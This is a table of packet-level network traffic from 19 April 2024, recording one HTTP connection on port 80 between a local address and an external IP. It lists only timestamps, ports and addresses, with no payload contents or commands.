Apr 19, 2024 03:29:13.491529942 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.491549015 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.491549969 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.491570950 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.491590023 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.491590977 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.491590023 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.491611004 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.491611004 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.491627932 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.491631985 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.491651058 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.491669893 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.491677046 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.491688013 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.491703987 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.491708040 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.491724968 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.491731882 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.491745949 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.491751909 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.491763115 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.491784096 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.491795063 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.491796970 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.491812944 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.491835117 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.491852045 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.491871119 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.491911888 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.491930962 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.733762026 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.733822107 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.733850956 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.733866930 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.733886003 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.733906984 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.733922005 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.733947992 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.733958960 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.733987093 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.733999968 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.734028101 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.734042883 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.734066963 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.734081984 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.734106064 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.734117985 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.734143972 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.734158993 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.734184980 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.734200001 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.734225988 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.734236956 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.734263897 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.734278917 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.734302998 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.734313965 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.734339952 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.734354019 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.734381914 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.734394073 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.734420061 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.734431028 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.734458923 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.734469891 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.734498024 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.734509945 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.734536886 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.734558105 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.734576941 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.734591961 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.734616995 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.734630108 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.734654903 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.734669924 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.734694004 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.734710932 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.734733105 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.734752893 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.734772921 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.734787941 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.734812021 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.734827995 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.734852076 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.734879971 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.734891891 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.734909058 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.734934092 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.734941006 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.734973907 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.734987020 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.735013008 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.735028028 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.735053062 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.735064983 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.735091925 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.735105038 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.735130072 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.735146046 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.735167980 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.735182047 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.735207081 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.735219955 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.735244989 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.735256910 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.735286951 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.735301018 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.735326052 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.735342979 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.735366106 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.735377073 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.735404968 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.735414982 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.735443115 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.735456944 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.735485077 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.735495090 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.735522985 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.735536098 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.735562086 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.735570908 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.735599041 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.735610008 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.735637903 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.735649109 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.735677004 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.735688925 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.735716105 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.735729933 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.735755920 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.735764980 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.735795021 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.735805988 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.735845089 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.735856056 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.735883951 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.735898018 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.735924006 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.735937119 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.735961914 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.735991955 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.736002922 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.736013889 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.736042023 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.736072063 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.736079931 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.736090899 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.736134052 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.736146927 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.736185074 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.736201048 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.736226082 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.736234903 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.736264944 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.736279011 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.736304045 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.736321926 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.736344099 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.736354113 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.736382961 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.736399889 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.736422062 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.736438036 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.736460924 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.736474991 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.736500025 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.736514091 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.736540079 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.736547947 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.736578941 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.736589909 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.736617088 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.736650944 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.736655951 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.736670971 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.736695051 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.736704111 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.736733913 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.736741066 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.736774921 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.736787081 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.736813068 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.736826897 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.736850977 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.736861944 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.736888885 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.736917019 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.736928940 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.736941099 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.736968040 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.736979008 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.737006903 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.737020016 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.737047911 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.737056017 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.737087965 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.737113953 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.737126112 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.737135887 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.737164974 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.737176895 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.737202883 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.737231016 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.737241983 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.737250090 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.737278938 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.737293959 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.737318039 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.737328053 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.737355947 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.737366915 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.737394094 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.737401962 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.737437010 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.737447977 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.737477064 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.737488031 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.737514019 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.737521887 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.737552881 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.737562895 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.737591028 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.737603903 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.737633944 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.737644911 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.737672091 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.737684011 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.737709999 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.737746954 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.737749100 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.737787962 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.737823009 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.737826109 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.737859964 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.737864971 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.737886906 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.737904072 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.737907887 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.737943888 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.737953901 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.737982035 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.737991095 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.738020897 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.738032103 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.738059044 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.738073111 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.738099098 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.738109112 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.738147974 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.738152027 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.738337040 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.983124971 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.983180046 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.983208895 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.983223915 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.983263016 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.983268023 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.983283043 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.983311892 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.983319998 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.983351946 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.983366013 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.983395100 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.983406067 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.983433962 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.983448029 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.983474016 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.983488083 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.983517885 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.983530998 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.983561039 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.983575106 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.983599901 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.983623028 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.983640909 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.983652115 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.983679056 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.983697891 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.983721972 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.983731031 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.983763933 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.983781099 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.983803988 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.983824015 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.983844995 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.983855963 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.983899117 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.983900070 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.983939886 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.983953953 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.984031916 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.984040976 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.984071970 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.984086990 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.984119892 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.984148026 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.984189034 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.984209061 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.984229088 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.984246016 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.984270096 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.984283924 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.984309912 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.984330893 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.984349966 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.984385014 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.984385967 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.984425068 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.984435081 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.984461069 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.984471083 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.984489918 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.984498024 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.984513044 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.984535933 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.984553099 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.984572887 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.984577894 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.984610081 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.984622002 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.984653950 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.984677076 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.984694004 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.984723091 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.984735966 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.984760046 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.984776974 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.984796047 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.984817982 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.984831095 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.984859943 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.984874010 CEST	49720	80	192.168.2.5	193.233.132.167
